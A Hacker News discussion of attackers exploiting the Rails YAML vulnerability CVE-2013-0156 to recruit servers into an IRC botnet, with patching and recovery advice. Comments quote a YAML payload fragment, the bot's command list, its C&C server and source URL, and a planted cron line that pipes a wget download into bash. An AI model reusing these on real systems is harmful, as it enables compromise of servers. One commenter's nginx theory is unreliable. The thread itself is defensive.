Exploitation of an old Rails vulnerability | Hacker News Reader

Exploitation of an old Rails vulnerability

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81 pointsboonez12349 comments

I'm on an iPhone and going to dinner in a second, but can someone tell them that Gem::Requirements line is a pretty dead ringer for the YAML exploits from January? Servers that haven't been owned yet should update Rails, see my article from January. Owned servers need to get rebuilt from metal, as per usual.

Article: "What The Rails Security Issue Means For Your Startup"

http://www.kalzumeus.com/2013/01/31/what-the-rails-security-...

Pssst, patio11 wrote that.

Regardless, it's an absolute must read for anyone even thinking about using rails.

It's surprising how often people rely on their own obscurity when they hear about security vulnerabilities. Sure, I could go upgrade Rails, but why bother? I'm only using it for a personal project.

The reality is that bad actors scan the pubic Internet for exploitable servers all the time. It's easy, it's cheap, and it's a very effective way to grow your botnet. If you're on the Internet, it doesn't matter how obscure you are: someone will eventually probe you.

Seriously, these guys have been completely out of the loop.

> I think we have to warm all RoR developers...

These are the average developer.

Every time I touch a new project it's in need of security updates. Any time a site gets owned, there's no accountability or logging or anything. Any time a security issue does manage to get found it's as if it's a rare new thing. "Wow, who would have thought that could happen." Well, let's see, the developers of the software you're using, and anyone that pays attention to them.

Thus, if you don't know what you're doing, subscribe to a service like Gem Canary (http://gemcanary.com/) so you get alerts.

We also have a mailing list we regularly send out updates to that we set up after the Rails vuln fiasco - you can sign up for it here, if interested: https://www.tinfoilsecurity.com/railscheck

I like this. Is there anything comparable for Python or Node.js?

Yes, try https://bundlescout.com/

Also http://getshrubbery.com/home which is free, but seemed mildly broken when I tried it (it seemed to forget some of my actually outdated packages when I tried it).

Try https://david-dm.org/ for node.js.

Some people in that thread are running rails 3.2.9 end even 3.2.3, and the cited malicious requests contain url paramters the dedoce to ?id=\n---\n!ruby/object:Gem::Requirement\nrequirements:\n -

I.e., they have been grossly negligient in their server maintenance for most of this year. http://www.kalzumeus.com/2013/01/31/what-the-rails-security-...

[Edit: although at least one mentions 3.2.11, which should have that particular vulnerability fixed, so it will probably at least sometimes be someting else.]

Yes. Looks like a case of explotation of CVE-2013-0156.

On exactly this subject, I'm in the process of building a SaaS app that will alert you of security vulnerabilities in Gems in your Rails and other Ruby apps.

http://www.rubyaudit.com

Doesn't seem to be anywhere to sign up.

Doh! I just got the landing page setup, and the signup configured, but never pushed it out.

Try it now.

Thanks

Interesting idea, it looks like you scan the Gemfile.lock (or equivalent) at "deploy" time.

My preference would be to upload that Gemfile.lock to a location, and then it could be scanned as and when new vulnerabilities were detected.

The problem with an upload is that you rely on someone to re-upload when they change their Gems. Changing the locked Gems means a re-check is needed, as they might have switched to bad versions.

Making this automatic is the key part - if you don't get burned very often, you'll eventually forget to do the right thing manually and open yourselves to badness.

You should know that New Relic is already doing this with Rails versions right now

Looking at the source code for the IRC bot installed on all compromised system shows the IRC server it connects to. The source is here: http://88.198.20.247/k.c

The IRC server is cvv4you.ru:6667 #rails There are currently 2164 idling bots on there. Holy fuck. Its run by a guy with the handle "ryan".

Connect to it and see for yourself: http://chat.mibbit.com/

Looking at SpamHaus, that IP range is owned by a company that provides professional botnet hosting. Approach with caution.

Professional botnet hosting? Didn't even know there was such a thing.

How come these guys are even operational?

It's a huge thing. KrebsOnSecurity covers a lot of the news in that industry, and discusses how they're used. http://krebsonsecurity.com/

They're never located in the US, so they're a lot harder to crack down on.

Here are the commands for the bot:

NICK <nick> = Changes the nick of the client

SERVER <server> = Changes servers

KILL = Kills the client

GET <http address> <save as> = Downloads a file off the web and saves it onto the hd

HELP = Displays this

IRC <command> = send_msgs this command to the server

SH <command> = Executes a command

I'm a little light on IRC proxies right now - anyone care to test if you can kill all 2,164 bots in one easy peasy MIRC script?

you cant. it seems that they only respond to messages in the channel #rails and the channel is set +m

This botnet has been attacking servers at my work for the last few days. I'm glad we upgraded within a month of the security patches.

This is a botnet being ran, at least in part, by hacking group HTP.

ryan is one of its lead members. Other evidence is the fact that "starfall.cu.cc" is one domain being used to grab this script: http://starfall.cu.cc/chips.txt

Starfall is another one of their members.

They're the people who breached Linode, MIT, nmap, and a few other places recently. See: http://www.exploit-db.com/papers/25306/

I'm surprised no one's thought of mass exploiting all those RoR servers months ago, unless those have all been there for months.

Some notes other than what has already been said:

- Both IRC servers are currently down (connection refused).

- The C code is full of bugs, but they're probably only exploitable if you can get either a nick more than 1024 characters or a full line more than 4096 characters (in the latter case, aside from there being an off-by-one error, the data after 4096 characters will be treated as a command, so you could spoof a privmsg and cause the bot to execute a shell command).

I'm finding it intensely amusing that most of the people around here don't realize that there are pay-for-use botnet services out there, that they are the most likely people that will own your server, that they're continuously on the leading edge of discovering and exploiting security vulnerabilities, and that it's not an "option" to continue to use a software version that has security vulnerabilities.

If I had to guess, I'd assume that Hacker News is frequented by a lot of programmers running startups who don't have and don't know any operations/infrastructure people. Here's a budget item: You can't afford to not have and not know any ops/infra people. Those people should be part of your team from the beginning so that they can put their foot down when you want to roll something that won't scale or want to avoid updating software versions because it might break something and you're crunching. If you think you can get away with those things, you're setting yourself up for a fall, and your customers' data will be exposed when you fall. If more VCs did diligence at the technical level, would more founders be likely to pay attention to infrastructure and operations as anything besides an expense that "can't be that difficult" to avoid by DIY?

Ever since word of regressions (performance and otherwise) in 3.2.13 https://news.ycombinator.com/item?id=5409978 I've been waiting on news of 3.2.14 ... I wonder if anyone has word on when to expect that, because the vulnerabilities patched in 3.2.13 that we can't take advantage of, make me a little nervous.

You can use 3.2.12 with the security patches added, like Discourse is doing:

https://github.com/discourse/discourse/commits/master/lib/fr...

(to be used as an initializer)

Why is that whole thread full of rails people who don't know how to format code with markdown? What is going on here?

Because rails people don't know markdown. In all seriousness I'm assuming that those guys are panicking right about now and can't type fast enough let alone worry about the slightest bit of code formatting.

I've been watching people probing my servers.

If you're using Rails externally and you haven't upgraded it, it's only a matter of time till it gets hacked.

Could be the most obvious statement ever, but there you have it.

The double unescape in the comments felt kinda like "Enhance!" "Enhance!"

Subscribe to the ruby on rails security mailing list if you haven't already: https://groups.google.com/forum/?fromgroups#!forum/rubyonrai....

I also started using Gemnasium which does a good job of notifying me about security patches in my app's dependencies along with keeping me up to date with gem releases.

take the system offline, install fresh o/s on new server, re-deploy clean copy of code.

slowly and carefully move only non-executable files over (uploaded images, post-inspection database dumps).

if you deployed using git checkouts and the like you will also have to manually go through all the commits/branches to make sure they didnt muck about with your code to install a backdoor.

Update Rails. Exploit of known issues.

The guy is putting together a botnet. Controlling it on cvv4you.ru:6667 channel #rails.

C&C is hosted by infiumhost.com, seems to be professional botnet hosting. Approach with caution.

It's incredible to me that that is really a thing.

Source on that? Just looks like a regular VPS host to me.

How can you check if your Rails app has been exploited?

In my cron jobs the hacker took out all my jobs and put in line that goes like wget -0 colkolduld.com/someurl | bash and then executes the same 3 more times. I think this may be an nginx issue with allowing the compiling of c code on the server then allowing remote execution via a url. Not sure.

If you're running Rails, then it's Rails that's vulnerable.

This could be the solution: http://news.softpedia.com/news/Nginx-1-4-1-and-1-5-0-Release.... I think I was on 1.1 or something then did "gem update passenger"

I think this exploit affects all Linux based servers running Nginx that haven't upgraded to 1.5.0. Passenger is using 1.4.2 which would mean that if you use Rails you are vulnerable. I'm not 100% sure, but neither is anyone else. A fresh install won't help for this hack as it's through the URL. You can see more in the github.com url about the exploit. I don't think the author of github knows the solution yet either.

1.4.2 is safe, 1.4.1 contained the fix for CVE-2013-2028

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